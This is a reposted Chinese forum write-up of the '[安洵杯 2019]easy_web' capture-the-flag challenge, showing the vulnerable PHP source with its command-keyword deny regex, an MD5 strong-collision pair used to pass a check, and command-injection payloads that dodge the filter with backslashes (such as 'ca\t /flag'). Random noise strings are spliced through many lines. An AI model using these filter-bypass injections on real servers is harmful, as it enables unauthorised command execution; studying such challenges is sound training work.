飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 18859|回复: 0

[安洵杯 2019]easy_web

[复制链接]

9321

主题

9409

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
30293
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式
$ O# B3 j9 L2 k4 W/ F7 ^. j
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
' T4 H! J) t* }0 U<p>&nbsp;</p>
% r5 K2 I9 l4 @+ }2 H0 `<p>&nbsp;</p>
# @+ j$ Z$ q2 |$ U+ B, W# C<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>
+ ?5 ]' L' l* p( m8 n# N  U. w<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
; l: {2 Q5 n+ v, c, E1 }! e2 E<p>&nbsp;</p>* [) w  |) t8 I/ V6 D
<p>&nbsp;</p>3 {6 ~" J" r. \1 X6 g& f
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>9 Q+ g+ Q8 f: R
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
4 g2 o% `) q' C: R. ?: [<p>首先把那个进行一次base64位解码</p>
3 B; v. Y* x: m( ^# W<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>! `1 ?" G3 f; z) T' q/ G9 A6 {# u( ~
<p>&nbsp;</p>1 R. ^+ A2 m8 E4 m8 U" Y: Y' ^
<p>&nbsp;</p>
6 U/ p5 ^3 E+ I# v' m  b& `<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
! x6 P7 |+ D5 P; [5 Q2 @4 C<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>1 a7 \' x; `. q# j$ n
<p>&nbsp;</p>
* D4 g0 z6 c* I5 ]% V<p>&nbsp;</p>0 t+ y2 ^( ?1 W
<p>&nbsp;然后用hex解码一下得到了</p>
" Q+ t, M4 e# |' l$ ^<div class="cnblogs_Highlighter">4 Y& E  }% z6 b8 o  L
<pre class="brush:sql;gutter:true;">555.png1 D$ B& _/ Z3 p
</pre>8 V" ?8 }3 u$ e+ D
</div>
& d8 B; n6 c! ]8 M# o( a<p>  用同样的方法把index.php进行加密</p>, Q5 ]; i( x9 T
<div class="cnblogs_Highlighter">. @8 l0 T3 R+ A
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3; i' r. p; c" g2 x1 A5 w9 o' K" i
</pre>5 I5 z6 G3 F. N" K: K
</div>
7 I% Q& L1 H) e2 G5 ^<p>  然后输入到地址栏</p>
' E: ]/ E7 ?# Z  _8 g9 m<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>
5 k, W, T! y# w1 C7 W: J) ^' v5 F: k<div class="cnblogs_code">
! u  g6 h, ]6 F: w' b/ D& i7 v<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php' `, O! r& z+ \- F$ N% C
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);/ u5 w" e& G( K6 S9 _- M
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
6 `2 d4 \7 s3 Q# e0 r$ C</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];  Y1 e' }( t& T1 S, V1 {
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
) M  D" o$ [2 l: d' W    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);. V7 [2 N( p. O, m
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));4 r! k) Q0 n* H' j

6 d' p' _( X. J/ O7 t7 T</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);6 A; z! L, \: f
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {# a5 B( D0 ^% T
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;
% l- U) ?: l5 p    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);" N3 |$ m6 S! @
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
3 f7 i/ _* F4 A; h  ]! [5 ?    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));- @5 M6 s$ Y. {5 K& S  e% |6 `
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;! E9 g# I; P8 S& g0 ]. \
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
4 E, x! k1 h- c6 r( V}3 M' ^, h3 Z7 F. L2 T* {
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
+ q9 Z( B) r1 e5 N( T</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
/ o. d/ {6 ]5 z6 r" P( N% n& V0 e</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
4 ]- c, j  o/ X) t* Z" z: ]    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
. D$ o$ X; n) m* t! B: I  v    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
. e; O) T2 S; `, ~} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
7 X5 w3 f8 B3 u0 C- f    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {. T; x* F3 x0 l. C# C" L( K3 f$ t
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
9 L) m+ n- R9 @( ?    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 h( Q# Z: K+ m4 d
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
8 A' J& i+ P/ |4 c6 j9 q; r! ^    }, l' }5 _3 [. K" S4 D8 }5 w$ ?3 ~
}
. t; M) d! ^) z# Y6 y6 F
4 q. q5 c' v$ u- e; m' g  m</span>?&gt;
% {) J: g2 A" Q&lt;html&gt;# i4 {9 \" S7 y, e2 t4 R& N9 {
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">2 R5 K+ L1 V0 p  e
  body{9 B( g) M3 v, J; {  p- B: ]% j
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;1 {$ D" l) D; X( P: Q" Y5 p
   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;* S( _3 l, h1 J9 {
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
: G0 }. _8 o& q$ g+ }9 @: j   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
8 w0 P0 a, f2 t% c7 |# |<span style="color: rgba(0, 0, 0, 1)">}4 s6 d9 @3 e" I, y
</span>&lt;/style&gt;
' z: k! {/ C8 S# t% v* |4 u&lt;body&gt;* F, L- F) |$ K( J
&lt;/body&gt;* Q" g( f, B1 t2 S8 }  [
&lt;/html&gt;</pre>- ]" r3 ]3 D) X' b/ M0 w
</div>
1 ]$ T. B7 I0 i$ r<p>结合前面的推断,关键代码就在</p>. M% e# m& v. R/ |2 o$ s5 o$ L
<div class="cnblogs_code">
/ x" S9 `2 D( O% \$ ~<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
$ j: W4 S! c3 b. q, u        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;" `2 w) S4 v0 p0 {; P# s
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
2 y' D+ S" J! }% \; _        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);' R0 p1 _. _! u& }! E/ T
    }</span></pre>, U5 ~2 A! K3 A5 Y
</div>
; H& C- E4 T% V0 [( C<p>这种MD5是md5强碰撞</p>
8 I; z% o$ q/ H' }<div class="cnblogs_Highlighter">5 D$ a( D% f; P7 O, M
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
* z: k9 g8 I" M& i& c7 a</pre>
9 E. E4 }7 r8 [6 p- U; G5 p</div>7 b  ]  f- }: c  Q
<div class="cnblogs_Highlighter">5 y, [5 J; H/ l$ a( j) B
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2  C) X9 V, W5 ^
</pre>
( r4 Z7 k& M0 R</div>4 [1 _; g7 O! t, p" M6 M
<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
  J0 J4 B7 W0 O% d; w; L' u2 I3 A<p>于是采用payload:</p>' D& x$ P$ J; y* Q
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>3 J% t# D# d, z1 T; m
<p>&nbsp;</p>
7 n! y& y2 ~# M5 Q/ j<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
$ I0 P, F& Z, A% V( ~# W1 y/ `4 S<p>ls和l\s在命令执行的时候结果是一样的。</p>' |, H! J9 N. N6 {9 E: n
<p>然后发现根目录里面有/flag</p>
* l, w- W. k) M/ }: `( C# P<p>于是payload:</p>6 \! Z2 M( V" W" s* d6 i1 e
<div class="cnblogs_Highlighter">
% O  M/ y8 G& }: V' l. j3 R<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
! X5 B4 g+ U: g% B2 M3 M</pre>
& B+ {  M1 ]' d" s6 D+ V</div>0 t3 \; g3 v$ B4 u# I% t/ a
<p>  对于这个题目,因为他没有屏蔽sort和dir</p>; @2 S, `) g3 ~8 f/ j( l9 w0 v3 H
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>; X. H  [2 r1 U; L
<p>&nbsp;</p>* H' {4 d  t! W' D4 L7 I& O2 q& Q
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2026-11-5 14:22 , Processed in 0.063181 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表